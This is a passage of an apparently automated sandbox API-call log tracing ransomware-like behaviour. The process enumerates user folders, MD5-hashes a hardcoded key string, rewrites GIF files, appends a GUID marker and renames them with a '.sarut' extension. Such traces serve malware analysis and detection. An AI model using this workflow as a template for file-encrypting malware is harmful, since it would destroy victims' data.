lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.207] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0269.207] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.207] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.207] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.208] PathFindFileNameW (pszPath="") returned="" [0269.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 0xffffffff [0269.208] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.208] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.208] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0269.208] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.208] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.208] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.208] PathFindFileNameW (pszPath="") returned="" [0269.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 0xffffffff [0269.208] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.208] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.209] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0269.209] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.209] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.209] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.209] PathFindFileNameW (pszPath="") returned="" [0269.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc458dee0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc458dee0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0269.209] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc458dee0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc458dee0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.209] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5087d50, ftCreationTime.dwHighDateTime=0x1d4c710, ftLastAccessTime.dwLowDateTime=0x7f29a590, ftLastAccessTime.dwHighDateTime=0x1d4d4b2, ftLastWriteTime.dwLowDateTime=0x7f29a590, ftLastWriteTime.dwHighDateTime=0x1d4d4b2, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4mbF.gif", cAlternateFileName="")) returned 1 [0269.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4mbF.gif") returned=".gif" [0269.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4mbF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4mbf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.210] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=17172) returned 1 [0269.210] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.213] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x42ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.213] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.215] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4314, lpOverlapped=0x0) returned 1 [0269.216] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.216] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.216] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.216] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.217] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.217] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.217] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.217] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.217] GetLastError () returned 0x0 [0269.217] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.217] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.218] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.218] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.218] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.218] CloseHandle (hObject=0x5c4) returned 1 [0269.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4mbF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4mbf.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4mbF.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4mbf.gif.sarut")) returned 1 [0269.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.221] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.222] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0269.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.222] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0269.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.222] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b8bec0, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xeb624c70, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0xeb624c70, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="io8_8GuAwtxmu", cAlternateFileName="IO8_8G~1")) returned 1 [0269.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0269.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30827b0 [0269.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0269.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.223] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd2ddb20, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x13d19350, ftLastAccessTime.dwHighDateTime=0x1d4d0ef, ftLastWriteTime.dwLowDateTime=0x13d19350, ftLastWriteTime.dwHighDateTime=0x1d4d0ef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kQOrnOQ", cAlternateFileName="")) returned 1 [0269.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0269.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.223] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 1 [0269.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.223] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pCb9pgcYyZh0BJvZP_h.gif") returned=".gif" [0269.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pCb9pgcYyZh0BJvZP_h.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pcb9pgcyyzh0bjvzp_h.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.223] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=9055) returned 1 [0269.223] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.226] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.226] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.228] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.228] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.228] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x235f, lpOverlapped=0x0) returned 1 [0269.229] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.229] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.229] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.229] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.230] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.230] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.230] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.230] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.230] GetLastError () returned 0x0 [0269.230] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.230] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2360) returned 0x311d708 [0269.230] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.230] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x235a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x235a, lpOverlapped=0x0) returned 1 [0269.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.231] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x235f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.231] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.231] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.231] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.231] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.231] CloseHandle (hObject=0x5c4) returned 1 [0269.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pCb9pgcYyZh0BJvZP_h.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pcb9pgcyyzh0bjvzp_h.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pCb9pgcYyZh0BJvZP_h.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pcb9pgcyyzh0bjvzp_h.gif.sarut")) returned 1 [0269.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.237] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.238] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 0 [0269.238] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116970 | out: hHeap=0x640000) returned 1 [0269.239] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.239] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.239] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 